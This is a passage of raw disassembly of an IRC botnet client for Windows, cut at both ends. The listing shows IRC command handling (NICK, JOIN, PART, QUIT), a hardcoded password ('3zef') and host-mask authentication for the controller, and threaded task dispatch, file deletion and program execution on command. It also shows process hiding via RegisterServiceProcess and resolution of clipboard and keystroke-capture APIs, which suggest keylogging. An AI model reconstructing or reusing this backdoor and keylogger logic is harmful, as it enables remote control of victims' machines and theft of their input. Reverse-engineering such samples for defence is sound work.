jmp loc_4089C5
; ---------------------------------------------------------------------------
loc_4092B7: ; CODE XREF: sub_401CC7+75E1j
push offset unk_442568
jmp loc_409385
; ---------------------------------------------------------------------------
loc_4092C1: ; CODE XREF: sub_401CC7+7585j
; sub_401CC7+7593j ...
push offset unk_4425A8
jmp loc_409385
; ---------------------------------------------------------------------------
loc_4092CB: ; CODE XREF: sub_401CC7+403Bj
; sub_401CC7+4050j
push offset aR_0 ; "r"
push [ebp+Source] ; Filename
call _fopen
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_40933B
mov esi, 200h
push edi
lea eax, [ebp+Dst]
push esi
push eax
call sub_41F210
add esp, 0Ch
loc_4092F6: ; CODE XREF: sub_401CC7+765Ej
test eax, eax
jz short loc_409327
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
push edi
lea eax, [ebp+Dst]
push esi
push eax
call sub_41F210
add esp, 20h
jmp short loc_4092F6
; ---------------------------------------------------------------------------
loc_409327: ; CODE XREF: sub_401CC7+7631j
push edi ; File
call _fclose
pop ecx
push [ebp+Source]
push offset unk_441D94
jmp loc_4094C9
; ---------------------------------------------------------------------------
loc_40933B: ; CODE XREF: sub_401CC7+7617j
push [ebp+Source]
push offset unk_441DB8
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_409348: ; CODE XREF: sub_401CC7+4011j
; sub_401CC7+4026j
cmp [ebp+var_C], ebx
jz loc_409B16
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409B16
push offset asc_441D38 ; "\n"
push esi ; Dest
call _strcat
push esi ; Str
call sub_41A931
add esp, 0Ch
test eax, eax
jnz short loc_409398
push offset asc_441D3C ; "-"
loc_409385: ; CODE XREF: sub_401CC7+75F5j
; sub_401CC7+75FFj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_4089D4
; ---------------------------------------------------------------------------
loc_409398: ; CODE XREF: sub_401CC7+76B7j
push esi
lea eax, [ebp+Dst]
push offset asc_441D68 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4089F5
; ---------------------------------------------------------------------------
loc_4093B2: ; CODE XREF: sub_401CC7+3FE7j
; sub_401CC7+3FFCj
cmp [ebp+var_C], ebx
jz loc_409B16
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_409B16
push eax ; Format
call sub_418F2A
test eax, eax
pop ecx
jnz short loc_4093E2
push offset unk_441CF4
jmp short loc_409385
; ---------------------------------------------------------------------------
loc_4093E2: ; CODE XREF: sub_401CC7+7712j
push offset dword_441D14
jmp short loc_409385
; ---------------------------------------------------------------------------
loc_4093E9: ; CODE XREF: sub_401CC7+3FBDj
; sub_401CC7+3FD2j
push 7Fh ; Count
lea eax, [ebp+var_2080]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+Format]
add esp, 0Ch
cmp esi, ebx
jz short loc_40941A
push 7Fh ; Count
lea eax, [ebp+var_2000]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40941A: ; CODE XREF: sub_401CC7+773Fj
push 7Fh ; Count
lea eax, [ebp+var_1F80]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+Source]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+Dst]
push offset asc_441C8C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ch ; int
push eax ; Source
call sub_40B756
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41BCA5
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4094BD
loc_4094A7: ; CODE XREF: sub_401CC7+77F4j
cmp [ebp+var_1EF4], ebx
jnz loc_406F7A
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4094A7
; ---------------------------------------------------------------------------
loc_4094BD: ; CODE XREF: sub_401CC7+77DEj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset asc_441CA4 ; "-"
loc_4094C9: ; CODE XREF: sub_401CC7+29BFj
; sub_401CC7+766Fj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_406F7A
; ---------------------------------------------------------------------------
loc_4094DD: ; CODE XREF: sub_401CC7+3F93j
; sub_401CC7+3FA8j
push ebx ; Source
push [ebp+Format] ; int
push [ebp+arg_4] ; int
push [ebp+Source] ; Str
call sub_4103EB
add esp, 10h
push [ebp+Source]
push offset dword_441C68
jmp loc_409B0F
; ---------------------------------------------------------------------------
loc_4094FF: ; CODE XREF: sub_401CC7+3F69j
; sub_401CC7+3F7Ej
push 14h ; Size
lea eax, [ebp+var_1D48]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+Source]
push offset aS_33 ; "%s"
push eax ; Dest
call _sprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C0]
push eax ; Format
lea eax, [ebp+var_1C30]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+Dst]
push offset asc_441BFC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset sub_416980
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4095DA
loc_4095C4: ; CODE XREF: sub_401CC7+7911j
cmp [ebp+var_1BA0], ebx
jnz loc_408637
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4095C4
; ---------------------------------------------------------------------------
loc_4095DA: ; CODE XREF: sub_401CC7+78FBj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_441C20
jmp loc_408628
; ---------------------------------------------------------------------------
loc_4095EB: ; CODE XREF: sub_401CC7+3F3Fj
; sub_401CC7+3F54j
push [ebp+Source]
call ds:dword_4F5354 ; DeleteFileA
test eax, eax
jz short loc_409616
push [ebp+Source]
lea eax, [ebp+Dst]
push offset asc_441BC8 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_4096F4
; ---------------------------------------------------------------------------
loc_409616: ; CODE XREF: sub_401CC7+792Fj
push offset dword_441BE4
call sub_418E65
pop ecx
push eax
jmp loc_404132
; ---------------------------------------------------------------------------
loc_409627: ; CODE XREF: sub_401CC7+3F15j
; sub_401CC7+3F2Aj
push [ebp+Source] ; Str
call _atoi
push eax
call sub_41A8AA
pop ecx
pop ecx
push 1
pop esi
push [ebp+Source]
cmp eax, esi
jnz short loc_409648
push offset unk_441B68
jmp short loc_40964D
; ---------------------------------------------------------------------------
loc_409648: ; CODE XREF: sub_401CC7+7978j
push offset asc_441B8C ; "-"
loc_40964D: ; CODE XREF: sub_401CC7+797Fj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406F7D
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
jmp loc_406F7D
; ---------------------------------------------------------------------------
loc_409686: ; CODE XREF: sub_401CC7+3EEBj
; sub_401CC7+3F00j
push ebx ; int
push ebx ; int
push [ebp+Source] ; Str2
push [ebp+var_4] ; int
push ebx ; Str
push [ebp+arg_4] ; int
call sub_41A589
add esp, 18h
cmp eax, 1
push [ebp+Source]
jnz short loc_4096AC
push offset unk_441B0C
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4096AC: ; CODE XREF: sub_401CC7+79D9j
push offset unk_441B2C
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4096B6: ; CODE XREF: sub_401CC7+3EC1j
; sub_401CC7+3ED6j
mov esi, [ebp+Source]
push esi
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D4], eax
jz short loc_4096FC
push 2
lea eax, [ebp+var_2D4]
push 4
push eax
call dword_4E30B0 ; gethostbyaddr
cmp eax, ebx
jz short loc_40971D
push dword ptr [eax]
push esi
push offset asc_441A94 ; "-"
loc_4096E8: ; CODE XREF: sub_401CC7+7A54j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
loc_4096F4: ; CODE XREF: sub_401CC7+794Aj
add esp, 10h
jmp loc_406F59
; ---------------------------------------------------------------------------
loc_4096FC: ; CODE XREF: sub_401CC7+7A02j
push esi
call dword_4E317C ; gethostbyname
cmp eax, ebx
jz short loc_40971D
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4E3184 ; inet_ntoa
push eax
push esi
push offset unk_441AB4
jmp short loc_4096E8
; ---------------------------------------------------------------------------
loc_40971D: ; CODE XREF: sub_401CC7+7A17j
; sub_401CC7+7A3Ej
push offset unk_441AD4
jmp loc_408850
; ---------------------------------------------------------------------------
loc_409727: ; CODE XREF: sub_401CC7+3E97j
; sub_401CC7+3EACj
push 7Fh ; Count
push [ebp+Source] ; Source
push [ebp+arg_14] ; Dest
call _strncpy
add esp, 0Ch
push [ebp+Source]
push offset unk_441A64
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_409744: ; CODE XREF: sub_401CC7+3E6Dj
; sub_401CC7+3E82j
push 5
push ebx
push ebx
push [ebp+Source]
push offset aOpen_1 ; "open"
push ebx
call dword_4E3064
push [ebp+Source]
test eax, eax
jz short loc_409768
push offset unk_441A14
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_409768: ; CODE XREF: sub_401CC7+7A95j
push offset unk_441A34
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_409772: ; CODE XREF: sub_401CC7+3E43j
; sub_401CC7+3E58j
mov eax, [ebp+Source]
mov cl, [eax]
mov byte_43F094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_4419D8
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_40978B: ; CODE XREF: sub_401CC7+3E19j
; sub_401CC7+3E2Ej
push [ebp+Source] ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409B16
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40B44F
add esp, 10h
push eax
lea eax, [ebp+Dst]
push offset aNickS_6 ; "NICK %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
push offset aS_19 ; "%s\r\n"
jmp loc_408C1B
; ---------------------------------------------------------------------------
loc_4097E9: ; CODE XREF: sub_401CC7+3DEFj
; sub_401CC7+3E04j
mov esi, [ebp+Source]
push esi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_402085
push esi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_402085
push offset aQuitLater_0 ; "QUIT :later\r\n"
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409CEE
pop ecx
pop ecx
push 1F4h
call ds:dword_4F534C ; Sleep
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax]
call dword_4E3190 ; closesocket
push [ebp+var_10]
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_45602C[eax]
call ds:dword_4F5380 ; TerminateThread
push esi ; Str
call _atoi
imul eax, 234h
push esi ; Str
mov dword_45602C[eax], ebx
call _atoi
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_455E18[eax], bl
jmp loc_402085
; ---------------------------------------------------------------------------
loc_409897: ; CODE XREF: sub_401CC7+3DC5j
; sub_401CC7+3DDAj
push [ebp+Source] ; Str2
push offset aAll ; "all"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409903
call sub_40B91F
cmp eax, ebx
jle short loc_4098BE
push eax
push offset unk_4418EC
jmp loc_408F7E
; ---------------------------------------------------------------------------
loc_4098BE: ; CODE XREF: sub_401CC7+7BEAj
push offset asc_441914 ; "-"
loc_4098C3: ; CODE XREF: sub_401CC7+24EAj
; sub_401CC7+2509j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4098D1: ; CODE XREF: sub_401CC7+72C6j
cmp [ebp+var_8], ebx
jnz short loc_4098F2
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_4098EA: ; CODE XREF: sub_401CC7+6E35j
call sub_409D34
add esp, 14h
loc_4098F2: ; CODE XREF: sub_401CC7+26E7j
; sub_401CC7+2712j ...
lea eax, [ebp+Dst]
push eax
call sub_415C3F
jmp loc_40226F
; ---------------------------------------------------------------------------
loc_409903: ; CODE XREF: sub_401CC7+7BE1j
mov eax, [ebp+var_A4]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_402085
lea eax, [ebp+edi*4+var_90]
mov [ebp+File], eax
loc_40991F: ; CODE XREF: sub_401CC7+7CC9j
mov eax, [ebp+File]
mov esi, [eax]
cmp esi, ebx
jz loc_402085
push esi ; Str
call _atoi
push eax
call sub_40B891
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409946
push offset unk_44193C
jmp short loc_40994B
; ---------------------------------------------------------------------------
loc_409946: ; CODE XREF: sub_401CC7+7C76j
push offset asc_441960 ; "-"
loc_40994B: ; CODE XREF: sub_401CC7+7C7Dj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40997B
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_40997B: ; CODE XREF: sub_401CC7+7C96j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
add [ebp+File], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40991F
jmp loc_402085
; ---------------------------------------------------------------------------
loc_409997: ; CODE XREF: sub_401CC7+3D9Bj
; sub_401CC7+3DB0j
cmp [ebp+var_C], ebx
jz loc_409B16
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409B16
push esi ; Args
push offset aS_20 ; "%s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push esi
push offset dword_4418BC
jmp loc_409B0F
; ---------------------------------------------------------------------------
loc_4099D3: ; CODE XREF: sub_401CC7+3D71j
; sub_401CC7+3D86j
push [ebp+Source] ; Args
push offset aPartS_2 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push [ebp+Source]
push offset unk_441888
jmp loc_409B0F
; ---------------------------------------------------------------------------
loc_4099F3: ; CODE XREF: sub_401CC7+3D47j
; sub_401CC7+3D5Cj
push [ebp+esi+Format]
push [ebp+Source] ; Args
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 10h
push [ebp+Source]
push offset unk_44184C
jmp loc_409B0F
; ---------------------------------------------------------------------------
loc_409A1A: ; CODE XREF: sub_401CC7+3D1Dj
; sub_401CC7+3D32j
push [ebp+Source] ; Args
push offset aNickS_7 ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push [ebp+Source]
push offset unk_44180C
jmp loc_409B0F
; ---------------------------------------------------------------------------
loc_409A3A: ; CODE XREF: sub_401CC7+315Dj
; sub_401CC7+3172j
push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
pop ecx
lea eax, [ebp+Dst]
pop ecx
push [ebp+Source]
push offset asc_44149C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push [ebp+Source] ; Str
call _atoi
add esp, 14h
loc_409A74: ; CODE XREF: sub_401CC7+7DFBj
push eax
call ds:dword_4F534C ; Sleep
loc_409A7B: ; CODE XREF: sub_401CC7+2A93j
xor eax, eax
jmp loc_402088
; ---------------------------------------------------------------------------
loc_409A82: ; CODE XREF: sub_401CC7+3133j
; sub_401CC7+3148j
push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
pop ecx
lea eax, [ebp+Dst]
pop ecx
push [ebp+Source]
push offset asc_441444 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push [ebp+Source] ; Str
call _atoi
add esp, 14h
imul eax, 3E8h
jmp short loc_409A74
; ---------------------------------------------------------------------------
loc_409AC4: ; CODE XREF: sub_401CC7+EB9j
; sub_401CC7+ECEj
push dword ptr [ebp+esi+Args] ; Str1
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax ; int
lea eax, [ebp+Str1]
push dword_43F09C ; int
push eax ; Dest
call sub_40B44F
add esp, 10h
lea eax, [ebp+Str1]
push eax ; Args
push offset aNickS_8 ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
lea eax, [ebp+Str1]
push eax ; Args
push offset asc_4400A4 ; "-"
loc_409B0F: ; CODE XREF: sub_401CC7+715Dj
; sub_401CC7+7833j ...
call sub_415CB3
pop ecx
loc_409B15: ; CODE XREF: sub_401CC7+6D3Aj
pop ecx
loc_409B16: ; CODE XREF: sub_401CC7+640j
; sub_401CC7+64Cj ...
mov eax, [ebp+File]
jmp loc_402088
; ---------------------------------------------------------------------------
loc_409B1E: ; CODE XREF: sub_401CC7+A9Cj
; sub_401CC7+AB1j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Source], esi
jz loc_402085
cmp [ebp+var_A8], ebx
jnz loc_402085
push offset asc_43FEE8 ; "!"
push [ebp+var_90] ; Str
call _strtok
mov esi, eax
push offset byte_4E2F98 ; Delim
push ebx ; Str
inc esi
call _strtok
push offset asc_43FEEC ; "~"
push eax ; Str
call _strtok
push [ebp+Source] ; Str2
mov edi, eax
push offset a3zef ; "3zef"
call _strcmp
add esp, 20h
test eax, eax
jz short loc_409BBD
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax ; Args
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 14h
lea eax, [ebp+var_C0]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push edi
push esi
push offset unk_43FF44
jmp loc_4025EC
; ---------------------------------------------------------------------------
loc_409BBD: ; CODE XREF: sub_401CC7+7EB2j
mov [ebp+File], offset off_43F158
loc_409BC4: ; CODE XREF: sub_401CC7+7F19j
mov eax, [ebp+File]
push edi
push dword ptr [eax]
call sub_40BAAF
pop ecx
test eax, eax
pop ecx
jnz short loc_409C24
add [ebp+File], 4
cmp [ebp+File], offset off_43F15C
jb short loc_409BC4
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax ; Args
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 14h
lea eax, [ebp+var_C0]
push eax ; Args
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push edi
push esi
push offset unk_43FFC4
jmp loc_4025EC
; ---------------------------------------------------------------------------
loc_409C24: ; CODE XREF: sub_401CC7+7F0Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_409C29: ; CODE XREF: sub_401CC7+7F8Cj
cmp [ebp+Source], ebx
jz loc_402085
cmp [edi], bl
jnz short loc_409C49
push [ebp+Source] ; Str2
push offset a3zef ; "3zef"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409C5A
loc_409C49: ; CODE XREF: sub_401CC7+7F6Dj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409C29
jmp loc_402085
; ---------------------------------------------------------------------------
loc_409C5A: ; CODE XREF: sub_401CC7+7F80j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh ; Count
push eax ; Source
push esi ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_409C91
push ebx ; int
push [ebp+var_4] ; int
push offset unk_43FFF0 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_409C91: ; CODE XREF: sub_401CC7+7FAEj
lea eax, [ebp+var_C0]
push eax
push offset unk_440010
jmp loc_402269
; ---------------------------------------------------------------------------
loc_409CA2: ; CODE XREF: sub_401CC7+205j
; sub_401CC7+21Aj
push [ebp+Source] ; Args
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+Source] ; Args
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 10h
mov dword_4E2F88, edi
jmp loc_401F5B
sub_401CC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409CEE(int,char *Format,char Args)
sub_409CEE proc near ; CODE XREF: sub_401B4F+3Dp
; sub_401CC7+1C2p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
Args = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 200h ; Count
push eax ; Dest
call __vsnprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
leave
retn
sub_409CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409D34(int,char *Str,int,int,int)
sub_409D34 proc near ; CODE XREF: sub_401CC7+50Fp
; sub_401CC7+136Ep ...
var_400 = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice_3 ; "NOTICE"
jnz short loc_409D4F
mov edi, offset aPrivmsg_2 ; "PRIVMSG"
loc_409D4F: ; CODE XREF: sub_409D34+14j
push edi ; Str
call _strlen
push [ebp+Str] ; Str
mov esi, 1FAh
sub esi, eax
call _strlen
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_21 ; "%s"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+Dest]
push [ebp+Str]
push edi
push offset aSSS_1 ; "%s %s :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409DD2
push 7D0h
call ds:dword_4F534C ; Sleep
locret_409DD2: ; CODE XREF: sub_409D34+91j
leave
retn
sub_409D34 endp
; =============== S U B R O U T I N E =======================================
sub_409DD4 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp
push ebx
push ebp
mov ebp, ds:dword_4F5370
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_4F5390
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409EF4
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4E31A4, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4E3118, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4E30FC, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4E300C, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4E2FB8, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4E2FE8, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4E3060, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4E3158, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4E31B4, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4E3018, eax
call esi ; GetProcAddress
cmp dword_4E31A4, ebx
mov dword_4E3000, eax
jz short loc_409ED2
cmp dword_4E3118, ebx
jz short loc_409ED2
cmp dword_4E30FC, ebx
jz short loc_409ED2
cmp dword_4E300C, ebx
jz short loc_409ED2
cmp dword_4E2FE8, ebx
jz short loc_409ED2
cmp dword_4E3060, ebx
jz short loc_409ED2
cmp dword_4E3158, ebx
jz short loc_409ED2
cmp dword_4E31B4, ebx
jz short loc_409ED2
cmp dword_4E3018, ebx
jz short loc_409ED2
cmp eax, ebx
jnz short loc_409EDC
loc_409ED2: ; CODE XREF: sub_409DD4+B8j
; sub_409DD4+C0j ...
mov dword_4E31B8, 1
loc_409EDC: ; CODE XREF: sub_409DD4+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4E3130, eax
jz short loc_409F09
push 1
push ebx
call eax
jmp short loc_409F09
; ---------------------------------------------------------------------------
loc_409EF4: ; CODE XREF: sub_409DD4+1Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov dword_4E31BC, eax
mov dword_4E31B8, 1
loc_409F09: ; CODE XREF: sub_409DD4+117j
; sub_409DD4+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4F538C ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A01E
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4E3154, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4E3104, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4E3098, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4E31A8, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4E30C8, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4E30E8, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4E314C, eax
call esi ; GetProcAddress
cmp dword_4E3154, ebx
mov dword_4E3038, eax
jz short loc_409FC2
cmp dword_4E3104, ebx
jz short loc_409FC2
cmp dword_4E3098, ebx
jz short loc_409FC2
cmp dword_4E31A8, ebx
jz short loc_409FC2
cmp dword_4E30C8, ebx
jz short loc_409FC2
cmp dword_4E30E8, ebx
jz short loc_409FC2
cmp dword_4E314C, ebx
jz short loc_409FC2
cmp eax, ebx
jnz short loc_409FCC
loc_409FC2: ; CODE XREF: sub_409DD4+1B8j
; sub_409DD4+1C0j ...
mov dword_4E31C0, 1
loc_409FCC: ; CODE XREF: sub_409DD4+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4E30C4, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4E2FCC, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4E3094, eax
call esi ; GetProcAddress
cmp dword_4E30C4, ebx
mov dword_4E307C, eax
jz short loc_40A029
cmp dword_4E2FCC, ebx
jz short loc_40A029
cmp dword_4E3094, ebx
jz short loc_40A029
cmp eax, ebx
jnz short loc_40A033
jmp short loc_40A029
